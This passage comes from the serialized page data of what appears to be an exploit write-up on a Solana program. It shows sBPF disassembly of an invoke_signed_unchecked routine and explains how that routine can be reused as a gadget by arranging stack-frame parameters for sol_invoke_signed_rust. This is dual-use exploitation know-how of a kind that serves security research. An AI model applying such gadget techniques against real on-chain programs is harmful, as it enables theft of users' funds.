{__return_addr}\n",[44838],{"type":21,"tag":194,"props":44839,"children":44840},{"__ignoreMap":7},[44841,44866,44922,44973,45025,45077,45100,45148,45155,45187,45238,45296,45330,45337,45386,45416,45491,45498,45549,45595,45602,45633,45684,45714,45736,45743,45794,45839,45846,45897,45925,45946,45953],{"type":21,"tag":198,"props":44842,"children":44843},{"class":200,"line":201},[44844,44848,44852,44857,44861],{"type":21,"tag":198,"props":44845,"children":44846},{"style":211},[44847],{"type":27,"value":14460},{"type":21,"tag":198,"props":44849,"children":44850},{"style":683},[44851],{"type":27,"value":4286},{"type":21,"tag":198,"props":44853,"children":44854},{"style":211},[44855],{"type":27,"value":44856},"program",{"type":21,"tag":198,"props":44858,"children":44859},{"style":683},[44860],{"type":27,"value":4286},{"type":21,"tag":198,"props":44862,"children":44863},{"style":226},[44864],{"type":27,"value":44865},"invoke_signed_unchecked\n",{"type":21,"tag":198,"props":44867,"children":44868},{"class":200,"line":217},[44869,44874,44879,44884,44889,44894,44899,44903,44908,44913,44918],{"type":21,"tag":198,"props":44870,"children":44871},{"style":226},[44872],{"type":27,"value":44873},"100001ba8",{"type":21,"tag":198,"props":44875,"children":44876},{"style":226},[44877],{"type":27,"value":44878}," 79a278ff00000000",{"type":21,"tag":198,"props":44880,"children":44881},{"style":226},[44882],{"type":27,"value":44883}," ldxdw",{"type":21,"tag":198,"props":44885,"children":44886},{"style":226},[44887],{"type":27,"value":44888}," r2",{"type":21,"tag":198,"props":44890,"children":44891},{"style":211},[44892],{"type":27,"value":44893},", [",{"type":21,"tag":198,"props":44895,"children":44896},{"style":226},[44897],{"type":27,"value":44898},"r10",{"type":21,"tag":198,"props":44900,"children":44901},{"style":683},[44902],{"type":27,"value":5139},{"type":21,"tag":198,"props":44904,"children":44905},{"style":2540},[44906],{"type":27,"value":44907},"136",{"type":21,"tag":198,"props":44909,"children":44910},{"style":211},[44911],{"type":27,"value":44912},"] {",{"type":21,"tag":198,"props":44914,"children":44915},{"style":226},[44916],{"type":27,"value":44917},"var_88",{"type":21,"tag":198,"props":44919,"children":44920},{"style":211},[44921],{"type":27,"value":1120},{"type":21,"tag":198,"props":44923,"children":44924},{"class":200,"line":236},[44925,44930,44935,44939,44944,44948,44952,44956,44960,44964,44969],{"type":21,"tag":198,"props":44926,"children":44927},{"style":226},[44928],{"type":27,"value":44929},"100001bb0",{"type":21,"tag":198,"props":44931,"children":44932},{"style":226},[44933],{"type":27,"value":44934}," 79a380ff00000000",{"type":21,"tag":198,"props":44936,"children":44937},{"style":226},[44938],{"type":27,"value":44883},{"type":21,"tag":198,"props":44940,"children":44941},{"style":226},[44942],{"type":27,"value":44943}," r3",{"type":21,"tag":198,"props":44945,"children":44946},{"style":211},[44947],{"type":27,"value":44893},{"type":21,"tag":198,"props":44949,"children":44950},{"style":226},[44951],{"type":27,"value":44898},{"type":21,"tag":198,"props":44953,"children":44954},{"style":683},[44955],{"type":27,"value":5139},{"type":21,"tag":198,"props":44957,"children":44958},{"style":2540},[44959],{"type":27,"value":30648},{"type":21,"tag":198,"props":44961,"children":44962},{"style":211},[44963],{"type":27,"value":44912},{"type":21,"tag":198,"props":44965,"children":44966},{"style":226},[44967],{"type":27,"value":44968},"var_80",{"type":21,"tag":198,"props":44970,"children":44971},{"style":211},[44972],{"type":27,"value":1120},{"type":21,"tag":198,"props":44974,"children":44975},{"class":200,"line":260},[44976,44981,44986,44990,44995,44999,45003,45007,45012,45016,45021],{"type":21,"tag":198,"props":44977,"children":44978},{"style":226},[44979],{"type":27,"value":44980},"100001bb8",{"type":21,"tag":198,"props":44982,"children":44983},{"style":226},[44984],{"type":27,"value":44985}," 79a468ff00000000",{"type":21,"tag":198,"props":44987,"children":44988},{"style":226},[44989],{"type":27,"value":44883},{"type":21,"tag":198,"props":44991,"children":44992},{"style":226},[44993],{"type":27,"value":44994}," r4",{"type":21,"tag":198,"props":44996,"children":44997},{"style":211},[44998],{"type":27,"value":44893},{"type":21,"tag":198,"props":45000,"children":45001},{"style":226},[45002],{"type":27,"value":44898},{"type":21,"tag":198,"props":45004,"children":45005},{"style":683},[45006],{"type":27,"value":5139},{"type":21,"tag":198,"props":45008,"children":45009},{"style":2540},[45010],{"type":27,"value":45011},"152",{"type":21,"tag":198,"props":45013,"children":45014},{"style":211},[45015],{"type":27,"value":44912},{"type":21,"tag":198,"props":45017,"children":45018},{"style":226},[45019],{"type":27,"value":45020},"var_98",{"type":21,"tag":198,"props":45022,"children":45023},{"style":211},[45024],{"type":27,"value":1120},{"type":21,"tag":198,"props":45026,"children":45027},{"class":200,"line":281},[45028,45033,45038,45042,45047,45051,45055,45059,45064,45068,45073],{"type":21,"tag":198,"props":45029,"children":45030},{"style":226},[45031],{"type":27,"value":45032},"100001bc0",{"type":21,"tag":198,"props":45034,"children":45035},{"style":226},[45036],{"type":27,"value":45037}," 79a570ff00000000",{"type":21,"tag":198,"props":45039,"children":45040},{"style":226},[45041],{"type":27,"value":44883},{"type":21,"tag":198,"props":45043,"children":45044},{"style":226},[45045],{"type":27,"value":45046}," r5",{"type":21,"tag":198,"props":45048,"children":45049},{"style":211},[45050],{"type":27,"value":44893},{"type":21,"tag":198,"props":45052,"children":45053},{"style":226},[45054],{"type":27,"value":44898},{"type":21,"tag":198,"props":45056,"children":45057},{"style":683},[45058],{"type":27,"value":5139},{"type":21,"tag":198,"props":45060,"children":45061},{"style":2540},[45062],{"type":27,"value":45063},"144",{"type":21,"tag":198,"props":45065,"children":45066},{"style":211},[45067],{"type":27,"value":44912},{"type":21,"tag":198,"props":45069,"children":45070},{"style":226},[45071],{"type":27,"value":45072},"var_90",{"type":21,"tag":198,"props":45074,"children":45075},{"style":211},[45076],{"type":27,"value":1120},{"type":21,"tag":198,"props":45078,"children":45079},{"class":200,"line":302},[45080,45085,45090,45095],{"type":21,"tag":198,"props":45081,"children":45082},{"style":226},[45083],{"type":27,"value":45084},"100001bc8",{"type":21,"tag":198,"props":45086,"children":45087},{"style":2540},[45088],{"type":27,"value":45089}," 8520000020100000",{"type":21,"tag":198,"props":45091,"children":45092},{"style":226},[45093],{"type":27,"value":45094}," call",{"type":21,"tag":198,"props":45096,"children":45097},{"style":226},[45098],{"type":27,"value":45099}," sol_invoke_signed_rust\n",{"type":21,"tag":198,"props":45101,"children":45102},{"class":200,"line":323},[45103,45108,45113,45118,45122,45126,45130,45134,45139,45143],{"type":21,"tag":198,"props":45104,"children":45105},{"style":226},[45106],{"type":27,"value":45107},"100001bd0",{"type":21,"tag":198,"props":45109,"children":45110},{"style":2540},[45111],{"type":27,"value":45112}," 5500040000000000",{"type":21,"tag":198,"props":45114,"children":45115},{"style":226},[45116],{"type":27,"value":45117}," jne",{"type":21,"tag":198,"props":45119,"children":45120},{"style":211},[45121],{"type":27,"value":9529},{"type":21,"tag":198,"props":45123,"children":45124},{"style":683},[45125],{"type":27,"value":5193},{"type":21,"tag":198,"props":45127,"children":45128},{"style":2540},[45129],{"type":27,"value":18330},{"type":21,"tag":198,"props":45131,"children":45132},{"style":211},[45133],{"type":27,"value":6634},{"type":21,"tag":198,"props":45135,"children":45136},{"style":226},[45137],{"type":27,"value":45138},"r0",{"type":21,"tag":198,"props":45140,"children":45141},{"style":211},[45142],{"type":27,"value":828},{"type":21,"tag":198,"props":45144,"children":45145},{"style":2540},[45146],{"type":27,"value":45147},"0x0\n",{"type":21,"tag":198,"props":45149,"children":45150},{"class":200,"line":344},[45151],{"type":21,"tag":198,"props":45152,"children":45153},{"emptyLinePlaceholder":16},[45154],{"type":27,"value":1283},{"type":21,"tag":198,"props":45156,"children":45157},{"class":200,"line":365},[45158,45163,45168,45173,45178,45182],{"type":21,"tag":198,"props":45159,"children":45160},{"style":226},[45161],{"type":27,"value":45162},"100001bd8",{"type":21,"tag":198,"props":45164,"children":45165},{"style":226},[45166],{"type":27,"value":45167}," b701000018000000",{"type":21,"tag":198,"props":45169,"children":45170},{"style":226},[45171],{"type":27,"value":45172}," mov",{"type":21,"tag":198,"props":45174,"children":45175},{"style":226},[45176],{"type":27,"value":45177}," r1",{"type":21,"tag":198,"props":45179,"children":45180},{"style":211},[45181],{"type":27,"value":828},{"type":21,"tag":198,"props":45183,"children":45184},{"style":2540},[45185],{"type":27,"value":45186},"0x18\n",{"type":21,"tag":198,"props":45188,"children":45189},{"class":200,"line":386},[45190,45195,45200,45204,45208,45212,45216,45220,45225,45229,45234],{"type":21,"tag":198,"props":45191,"children":45192},{"style":226},[45193],{"type":27,"value":45194},"100001be0",{"type":21,"tag":198,"props":45196,"children":45197},{"style":226},[45198],{"type":27,"value":45199}," 79a288ff00000000",{"type":21,"tag":198,"props":45201,"children":45202},{"style":226},[45203],{"type":27,"value":44883},{"type":21,"tag":198,"props":45205,"children":45206},{"style":226},[45207],{"type":27,"value":44888},{"type":21,"tag":198,"props":45209,"children":45210},{"style":211},[45211],{"type":27,"value":44893},{"type":21,"tag":198,"props":45213,"children":45214},{"style":226},[45215],{"type":27,"value":44898},{"type":21,"tag":198,"props":45217,"children":45218},{"style":683},[45219],{"type":27,"value":5139},{"type":21,"tag":198,"props":45221,"children":45222},{"style":2540},[45223],{"type":27,"value":45224},"120",{"type":21,"tag":198,"props":45226,"children":45227},{"style":211},[45228],{"type":27,"value":44912},{"type":21,"tag":198,"props":45230,"children":45231},{"style":226},[45232],{"type":27,"value":45233},"var_78",{"type":21,"tag":198,"props":45235,"children":45236},{"style":211},[45237],{"type":27,"value":1120},{"type":21,"tag":198,"props":45239,"children":45240},{"class":200,"line":408},[45241,45246,45251,45256,45260,45265,45269,45273,45277,45282,45287,45292],{"type":21,"tag":198,"props":45242,"children":45243},{"style":226},[45244],{"type":27,"value":45245},"100001be8",{"type":21,"tag":198,"props":45247,"children":45248},{"style":2540},[45249],{"type":27,"value":45250}," 6312000000000000",{"type":21,"tag":198,"props":45252,"children":45253},{"style":226},[45254],{"type":27,"value":45255}," stxw",{"type":21,"tag":198,"props":45257,"children":45258},{"style":211},[45259],{"type":27,"value":2810},{"type":21,"tag":198,"props":45261,"children":45262},{"style":226},[45263],{"type":27,"value":45264},"r2",{"type":21,"tag":198,"props":45266,"children":45267},{"style":683},[45268],{"type":27,"value":5139},{"type":21,"tag":198,"props":45270,"children":45271},{"style":2540},[45272],{"type":27,"value":3482},{"type":21,"tag":198,"props":45274,"children":45275},{"style":211},[45276],{"type":27,"value":23853},{"type":21,"tag":198,"props":45278,"children":45279},{"style":226},[45280],{"type":27,"value":45281},"r1",{"type":21,"tag":198,"props":45283,"children":45284},{"style":211},[45285],{"type":27,"value":45286}," {",{"type":21,"tag":198,"props":45288,"children":45289},{"style":2540},[45290],{"type":27,"value":45291},"0x18",{"type":21,"tag":198,"props":45293,"children":45294},{"style":211},[45295],{"type":27,"value":1120},{"type":21,"tag":198,"props":45297,"children":45298},{"class":200,"line":429},[45299,45304,45309,45314,45318,45322,45326],{"type":21,"tag":198,"props":45300,"children":45301},{"style":226},[45302],{"type":27,"value":45303},"100001bf0",{"type":21,"tag":198,"props":45305,"children":45306},{"style":2540},[45307],{"type":27,"value":45308}," 0500030000000000",{"type":21,"tag":198,"props":45310,"children":45311},{"style":226},[45312],{"type":27,"value":45313}," ja",{"type":21,"tag":198,"props":45315,"children":45316},{"style":211},[45317],{"type":27,"value":9529},{"type":21,"tag":198,"props":45319,"children":45320},{"style":683},[45321],{"type":27,"value":5193},{"type":21,"tag":198,"props":45323,"children":45324},{"style":2540},[45325],{"type":27,"value":18097},{"type":21,"tag":198,"props":45327,"children":45328},{"style":211},[45329],{"type":27,"value":3203},{"type":21,"tag":198,"props":45331,"children":45332},{"class":200,"line":450},[45333],{"type":21,"tag":198,"props":45334,"children":45335},{"emptyLinePlaceholder":16},[45336],{"type":27,"value":1283},{"type":21,"tag":198,"props":45338,"children":45339},{"class":200,"line":468},[45340,45345,45350,45354,45358,45362,45366,45370,45374,45378,45382],{"type":21,"tag":198,"props":45341,"children":45342},{"style":226},[45343],{"type":27,"value":45344},"100001bf8",{"type":21,"tag":198,"props":45346,"children":45347},{"style":226},[45348],{"type":27,"value":45349}," 79a188ff00000000",{"type":21,"tag":198,"props":45351,"children":45352},{"style":226},[45353],{"type":27,"value":44883},{"type":21,"tag":198,"props":45355,"children":45356},{"style":226},[45357],{"type":27,"value":45177},{"type":21,"tag":198,"props":45359,"children":45360},{"style":211},[45361],{"type":27,"value":44893},{"type":21,"tag":198,"props":45363,"children":45364},{"style":226},[45365],{"type":27,"value":44898},{"type":21,"tag":198,"props":45367,"children":45368},{"style":683},[45369],{"type":27,"value":5139},{"type":21,"tag":198,"props":45371,"children":45372},{"style":2540},[45373],{"type":27,"value":45224},{"type":21,"tag":198,"props":45375,"children":45376},{"style":211},[45377],{"type":27,"value":44912},{"type":21,"tag":198,"props":45379,"children":45380},{"style":226},[45381],{"type":27,"value":45233},{"type":21,"tag":198,"props":45383,"children":45384},{"style":211},[45385],{"type":27,"value":1120},{"type":21,"tag":198,"props":45387,"children":45388},{"class":200,"line":477},[45389,45394,45399,45403,45407,45411],{"type":21,"tag":198,"props":45390,"children":45391},{"style":226},[45392],{"type":27,"value":45393},"100001c00",{"type":21,"tag":198,"props":45395,"children":45396},{"style":226},[45397],{"type":27,"value":45398}," bf02000000000000",{"type":21,"tag":198,"props":45400,"children":45401},{"style":226},[45402],{"type":27,"value":45172},{"type":21,"tag":198,"props":45404,"children":45405},{"style":226},[45406],{"type":27,"value":44888},{"type":21,"tag":198,"props":45408,"children":45409},{"style":211},[45410],{"type":27,"value":828},{"type":21,"tag":198,"props":45412,"children":45413},{"style":226},[45414],{"type":27,"value":45415},"r0\n",{"type":21,"tag":198,"props":45417,"children":45418},{"class":200,"line":494},[45419,45424,45429,45433,45438,45442,45447,45451,45455,45460,45464,45468,45473,45478,45482,45486],{"type":21,"tag":198,"props":45420,"children":45421},{"style":226},[45422],{"type":27,"value":45423},"100001c08",{"type":21,"tag":198,"props":45425,"children":45426},{"style":2540},[45427],{"type":27,"value":45428}," 8510000075000000",{"type":21,"tag":198,"props":45430,"children":45431},{"style":226},[45432],{"type":27,"value":45094},{"type":21,"tag":198,"props":45434,"children":45435},{"style":1966},[45436],{"type":27,"value":45437}," _ZN94_",{"type":21,"tag":198,"props":45439,"children":45440},{"style":683},[45441],{"type":27,"value":2227},{"type":21,"tag":198,"props":45443,"children":45444},{"style":1966},[45445],{"type":27,"value":45446},"LT",{"type":21,"tag":198,"props":45448,"children":45449},{"style":683},[45450],{"type":27,"value":2227},{"type":21,"tag":198,"props":45452,"children":45453},{"style":226},[45454],{"type":27,"value":14460},{"type":21,"tag":198,"props":45456,"children":45457},{"style":683},[45458],{"type":27,"value":45459},"...$",{"type":21,"tag":198,"props":45461,"children":45462},{"style":226},[45463],{"type":27,"value":8853},{"type":21,"tag":198,"props":45465,"children":45466},{"style":683},[45467],{"type":27,"value":2227},{"type":21,"tag":198,"props":45469,"children":45470},{"style":1966},[45471],{"type":27,"value":45472},"GT",{"type":21,"tag":198,"props":45474,"children":45475},{"style":683},[45476],{"type":27,"value":45477},"$$",{"type":21,"tag":198,"props":45479,"children":45480},{"style":1966},[45481],{"type":27,"value":45472},{"type":21,"tag":198,"props":45483,"children":45484},{"style":683},[45485],{"type":27,"value":2227},{"type":21,"tag":198,"props":45487,"children":45488},{"style":211},[45489],{"type":27,"value":45490},"4from17ha0d289b72861b06dE\n",{"type":21,"tag":198,"props":45492,"children":45493},{"class":200,"line":515},[45494],{"type":21,"tag":198,"props":45495,"children":45496},{"emptyLinePlaceholder":16},[45497],{"type":27,"value":1283},{"type":21,"tag":198,"props":45499,"children":45500},{"class":200,"line":4484},[45501,45506,45511,45515,45519,45523,45527,45531,45536,45540,45545],{"type":21,"tag":198,"props":45502,"children":45503},{"style":226},[45504],{"type":27,"value":45505},"100001c10",{"type":21,"tag":198,"props":45507,"children":45508},{"style":226},[45509],{"type":27,"value":45510}," 79a2b8ff00000000",{"type":21,"tag":198,"props":45512,"children":45513},{"style":226},[45514],{"type":27,"value":44883},{"type":21,"tag":198,"props":45516,"children":45517},{"style":226},[45518],{"type":27,"value":44888},{"type":21,"tag":198,"props":45520,"children":45521},{"style":211},[45522],{"type":27,"value":44893},{"type":21,"tag":198,"props":45524,"children":45525},{"style":226},[45526],{"type":27,"value":44898},{"type":21,"tag":198,"props":45528,"children":45529},{"style":683},[45530],{"type":27,"value":5139},{"type":21,"tag":198,"props":45532,"children":45533},{"style":2540},[45534],{"type":27,"value":45535},"72",{"type":21,"tag":198,"props":45537,"children":45538},{"style":211},[45539],{"type":27,"value":44912},{"type":21,"tag":198,"props":45541,"children":45542},{"style":226},[45543],{"type":27,"value":45544},"var_48",{"type":21,"tag":198,"props":45546,"children":45547},{"style":211},[45548],{"type":27,"value":1120},{"type":21,"tag":198,"props":45550,"children":45551},{"class":200,"line":4493},[45552,45557,45562,45567,45571,45575,45579,45583,45587,45591],{"type":21,"tag":198,"props":45553,"children":45554},{"style":226},[45555],{"type":27,"value":45556},"100001c18",{"type":21,"tag":198,"props":45558,"children":45559},{"style":2540},[45560],{"type":27,"value":45561}," 1502040000000000",{"type":21,"tag":198,"props":45563,"children":45564},{"style":226},[45565],{"type":27,"value":45566}," jeq",{"type":21,"tag":198,"props":45568,"children":45569},{"style":211},[45570],{"type":27,"value":9529},{"type":21,"tag":198,"props":45572,"children":45573},{"style":683},[45574],{"type":27,"value":5193},{"type":21,"tag":198,"props":45576,"children":45577},{"style":2540},[45578],{"type":27,"value":18330},{"type":21,"tag":198,"props":45580,"children":45581},{"style":211},[45582],{"type":27,"value":6634},{"type":21,"tag":198,"props":45584,"children":45585},{"style":226},[45586],{"type":27,"value":45264},{"type":21,"tag":198,"props":45588,"children":45589},{"style":211},[45590],{"type":27,"value":828},{"type":21,"tag":198,"props":45592,"children":45593},{"style":2540},[45594],{"type":27,"value":45147},{"type":21,"tag":198,"props":45596,"children":45597},{"class":200,"line":4561},[45598],{"type":21,"tag":198,"props":45599,"children":45600},{"emptyLinePlaceholder":16},[45601],{"type":27,"value":1283},{"type":21,"tag":198,"props":45603,"children":45604},{"class":200,"line":4569},[45605,45610,45615,45620,45624,45628],{"type":21,"tag":198,"props":45606,"children":45607},{"style":226},[45608],{"type":27,"value":45609},"100001c20",{"type":21,"tag":198,"props":45611,"children":45612},{"style":2540},[45613],{"type":27,"value":45614}," 2702000022000000",{"type":21,"tag":198,"props":45616,"children":45617},{"style":226},[45618],{"type":27,"value":45619}," mul",{"type":21,"tag":198,"props":45621,"children":45622},{"style":226},[45623],{"type":27,"value":44888},{"type":21,"tag":198,"props":45625,"children":45626},{"style":211},[45627],{"type":27,"value":828},{"type":21,"tag":198,"props":45629,"children":45630},{"style":2540},[45631],{"type":27,"value":45632},"0x22\n",{"type":21,"tag":198,"props":45634,"children":45635},{"class":200,"line":4599},[45636,45641,45646,45650,45654,45658,45662,45666,45671,45675,45680],{"type":21,"tag":198,"props":45637,"children":45638},{"style":226},[45639],{"type":27,"value":45640},"100001c28",{"type":21,"tag":198,"props":45642,"children":45643},{"style":226},[45644],{"type":27,"value":45645}," 79a1b0ff00000000",{"type":21,"tag":198,"props":45647,"children":45648},{"style":226},[45649],{"type":27,"value":44883},{"type":21,"tag":198,"props":45651,"children":45652},{"style":226},[45653],{"type":27,"value":45177},{"type":21,"tag":198,"props":45655,"children":45656},{"style":211},[45657],{"type":27,"value":44893},{"type":21,"tag":198,"props":45659,"children":45660},{"style":226},[45661],{"type":27,"value":44898},{"type":21,"tag":198,"props":45663,"children":45664},{"style":683},[45665],{"type":27,"value":5139},{"type":21,"tag":198,"props":45667,"children":45668},{"style":2540},[45669],{"type":27,"value":45670},"80",{"type":21,"tag":198,"props":45672,"children":45673},{"style":211},[45674],{"type":27,"value":44912},{"type":21,"tag":198,"props":45676,"children":45677},{"style":226},[45678],{"type":27,"value":45679},"var_50",{"type":21,"tag":198,"props":45681,"children":45682},{"style":211},[45683],{"type":27,"value":1120},{"type":21,"tag":198,"props":45685,"children":45686},{"class":200,"line":4607},[45687,45692,45697,45701,45705,45709],{"type":21,"tag":198,"props":45688,"children":45689},{"style":226},[45690],{"type":27,"value":45691},"100001c30",{"type":21,"tag":198,"props":45693,"children":45694},{"style":226},[45695],{"type":27,"value":45696}," b703000001000000",{"type":21,"tag":198,"props":45698,"children":45699},{"style":226},[45700],{"type":27,"value":45172},{"type":21,"tag":198,"props":45702,"children":45703},{"style":226},[45704],{"type":27,"value":44943},{"type":21,"tag":198,"props":45706,"children":45707},{"style":211},[45708],{"type":27,"value":828},{"type":21,"tag":198,"props":45710,"children":45711},{"style":2540},[45712],{"type":27,"value":45713},"0x1\n",{"type":21,"tag":198,"props":45715,"children":45716},{"class":200,"line":4638},[45717,45722,45727,45731],{"type":21,"tag":198,"props":45718,"children":45719},{"style":226},[45720],{"type":27,"value":45721},"100001c38",{"type":21,"tag":198,"props":45723,"children":45724},{"style":226},[45725],{"type":27,"value":45726}," 8510000003feffff",{"type":21,"tag":198,"props":45728,"children":45729},{"style":226},[45730],{"type":27,"value":45094},{"type":21,"tag":198,"props":45732,"children":45733},{"style":226},[45734],{"type":27,"value":45735}," __rust_dealloc\n",{"type":21,"tag":198,"props":45737,"children":45738},{"class":200,"line":4646},[45739],{"type":21,"tag":198,"props":45740,"children":45741},{"emptyLinePlaceholder":16},[45742],{"type":27,"value":1283},{"type":21,"tag":198,"props":45744,"children":45745},{"class":200,"line":4706},[45746,45751,45756,45760,45764,45768,45772,45776,45781,45785,45790],{"type":21,"tag":198,"props":45747,"children":45748},{"style":226},[45749],{"type":27,"value":45750},"100001c40",{"type":21,"tag":198,"props":45752,"children":45753},{"style":226},[45754],{"type":27,"value":45755}," 79a2d0ff00000000",{"type":21,"tag":198,"props":45757,"children":45758},{"style":226},[45759],{"type":27,"value":44883},{"type":21,"tag":198,"props":45761,"children":45762},{"style":226},[45763],{"type":27,"value":44888},{"type":21,"tag":198,"props":45765,"children":45766},{"style":211},[45767],{"type":27,"value":44893},{"type":21,"tag":198,"props":45769,"children":45770},{"style":226},[45771],{"type":27,"value":44898},{"type":21,"tag":198,"props":45773,"children":45774},{"style":683},[45775],{"type":27,"value":5139},{"type":21,"tag":198,"props":45777,"children":45778},{"style":2540},[45779],{"type":27,"value":45780},"48",{"type":21,"tag":198,"props":45782,"children":45783},{"style":211},[45784],{"type":27,"value":44912},{"type":21,"tag":198,"props":45786,"children":45787},{"style":226},[45788],{"type":27,"value":45789},"var_30",{"type":21,"tag":198,"props":45791,"children":45792},{"style":211},[45793],{"type":27,"value":1120},{"type":21,"tag":198,"props":45795,"children":45796},{"class":200,"line":9857},[45797,45802,45807,45811,45815,45819,45823,45827,45831,45835],{"type":21,"tag":198,"props":45798,"children":45799},{"style":226},[45800],{"type":27,"value":45801},"100001c48",{"type":21,"tag":198,"props":45803,"children":45804},{"style":2540},[45805],{"type":27,"value":45806}," 1502030000000000",{"type":21,"tag":198,"props":45808,"children":45809},{"style":226},[45810],{"type":27,"value":45566},{"type":21,"tag":198,"props":45812,"children":45813},{"style":211},[45814],{"type":27,"value":9529},{"type":21,"tag":198,"props":45816,"children":45817},{"style":683},[45818],{"type":27,"value":5193},{"type":21,"tag":198,"props":45820,"children":45821},{"style":2540},[45822],{"type":27,"value":18097},{"type":21,"tag":198,"props":45824,"children":45825},{"style":211},[45826],{"type":27,"value":6634},{"type":21,"tag":198,"props":45828,"children":45829},{"style":226},[45830],{"type":27,"value":45264},{"type":21,"tag":198,"props":45832,"children":45833},{"style":211},[45834],{"type":27,"value":828},{"type":21,"tag":198,"props":45836,"children":45837},{"style":2540},[45838],{"type":27,"value":45147},{"type":21,"tag":198,"props":45840,"children":45841},{"class":200,"line":9875},[45842],{"type":21,"tag":198,"props":45843,"children":45844},{"emptyLinePlaceholder":16},[45845],{"type":27,"value":1283},{"type":21,"tag":198,"props":45847,"children":45848},{"class":200,"line":9920},[45849,45854,45859,45863,45867,45871,45875,45879,45884,45888,45893],{"type":21,"tag":198,"props":45850,"children":45851},{"style":226},[45852],{"type":27,"value":45853},"100001c50",{"type":21,"tag":198,"props":45855,"children":45856},{"style":226},[45857],{"type":27,"value":45858}," 79a1c8ff00000000",{"type":21,"tag":198,"props":45860,"children":45861},{"style":226},[45862],{"type":27,"value":44883},{"type":21,"tag":198,"props":45864,"children":45865},{"style":226},[45866],{"type":27,"value":45177},{"type":21,"tag":198,"props":45868,"children":45869},{"style":211},[45870],{"type":27,"value":44893},{"type":21,"tag":198,"props":45872,"children":45873},{"style":226},[45874],{"type":27,"value":44898},{"type":21,"tag":198,"props":45876,"children":45877},{"style":683},[45878],{"type":27,"value":5139},{"type":21,"tag":198,"props":45880,"children":45881},{"style":2540},[45882],{"type":27,"value":45883},"56",{"type":21,"tag":198,"props":45885,"children":45886},{"style":211},[45887],{"type":27,"value":44912},{"type":21,"tag":198,"props":45889,"children":45890},{"style":226},[45891],{"type":27,"value":45892},"var_38",{"type":21,"tag":198,"props":45894,"children":45895},{"style":211},[45896],{"type":27,"value":1120},{"type":21,"tag":198,"props":45898,"children":45899},{"class":200,"line":10026},[45900,45905,45909,45913,45917,45921],{"type":21,"tag":198,"props":45901,"children":45902},{"style":226},[45903],{"type":27,"value":45904},"100001c58",{"type":21,"tag":198,"props":45906,"children":45907},{"style":226},[45908],{"type":27,"value":45696},{"type":21,"tag":198,"props":45910,"children":45911},{"style":226},[45912],{"type":27,"value":45172},{"type":21,"tag":198,"props":45914,"children":45915},{"style":226},[45916],{"type":27,"value":44943},{"type":21,"tag":198,"props":45918,"children":45919},{"style":211},[45920],{"type":27,"value":828},{"type":21,"tag":198,"props":45922,"children":45923},{"style":2540},[45924],{"type":27,"value":45713},{"type":21,"tag":198,"props":45926,"children":45927},{"class":200,"line":24302},[45928,45933,45938,45942],{"type":21,"tag":198,"props":45929,"children":45930},{"style":226},[45931],{"type":27,"value":45932},"100001c60",{"type":21,"tag":198,"props":45934,"children":45935},{"style":226},[45936],{"type":27,"value":45937}," 85100000fefdffff",{"type":21,"tag":198,"props":45939,"children":45940},{"style":226},[45941],{"type":27,"value":45094},{"type":21,"tag":198,"props":45943,"children":45944},{"style":226},[45945],{"type":27,"value":45735},{"type":21,"tag":198,"props":45947,"children":45948},{"class":200,"line":24337},[45949],{"type":21,"tag":198,"props":45950,"children":45951},{"emptyLinePlaceholder":16},[45952],{"type":27,"value":1283},{"type":21,"tag":198,"props":45954,"children":45955},{"class":200,"line":24345},[45956,45961,45966,45971,45976,45981],{"type":21,"tag":198,"props":45957,"children":45958},{"style":226},[45959],{"type":27,"value":45960},"100001c68",{"type":21,"tag":198,"props":45962,"children":45963},{"style":2540},[45964],{"type":27,"value":45965}," 9500000000000000",{"type":21,"tag":198,"props":45967,"children":45968},{"style":226},[45969],{"type":27,"value":45970}," exit",{"type":21,"tag":198,"props":45972,"children":45973},{"style":211},[45974],{"type":27,"value":45975}," {",{"type":21,"tag":198,"props":45977,"children":45978},{"style":226},[45979],{"type":27,"value":45980},"__return_addr",{"type":21,"tag":198,"props":45982,"children":45983},{"style":211},[45984],{"type":27,"value":1120},{"type":21,"tag":30,"props":45986,"children":45987},{},[45988,45990,45996],{"type":27,"value":45989},"Which, assuming that ",{"type":21,"tag":194,"props":45991,"children":45993},{"className":45992},[],[45994],{"type":27,"value":45995},"sol_invoke_signed_rust",{"type":27,"value":45997}," returns 0, is doing the following:",{"type":21,"tag":71,"props":45999,"children":46000},{},[46001,46010,46019],{"type":21,"tag":75,"props":46002,"children":46003},{},[46004],{"type":21,"tag":194,"props":46005,"children":46007},{"className":46006},[],[46008],{"type":27,"value":46009},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":21,"tag":75,"props":46011,"children":46012},{},[46013],{"type":21,"tag":194,"props":46014,"children":46016},{"className":46015},[],[46017],{"type":27,"value":46018},"*[r10-120] = 0x18",{"type":21,"tag":75,"props":46020,"children":46021},{},[46022,46024,46030,46032,46039],{"type":27,"value":46023},"Calls ",{"type":21,"tag":194,"props":46025,"children":46027},{"className":46026},[],[46028],{"type":27,"value":46029},"__rust_dealloc",{"type":27,"value":46031},", which in default circumstances is a ",{"type":21,"tag":34,"props":46033,"children":46036},{"href":46034,"rel":46035},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[38],[46037],{"type":27,"value":46038},"NOP",{"type":27,"value":658},{"type":21,"tag":30,"props":46041,"children":46042},{},[46043],{"type":27,"value":46044},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":21,"tag":30,"props":46046,"children":46047},{},[46048],{"type":27,"value":46049},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":21,"tag":30,"props":46051,"children":46052},{},[46053,46055,46062],{"type":27,"value":46054},"Looking at the ",{"type":21,"tag":34,"props":46056,"children":46059},{"href":46057,"rel":46058},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[38],[46060],{"type":27,"value":46061},"definition",{"type":27,"value":46063},", it's not crystal clear what the parameters are:",{"type":21,"tag":187,"props":46065,"children":46067},{"className":3789,"code":46066,"language":3788,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> 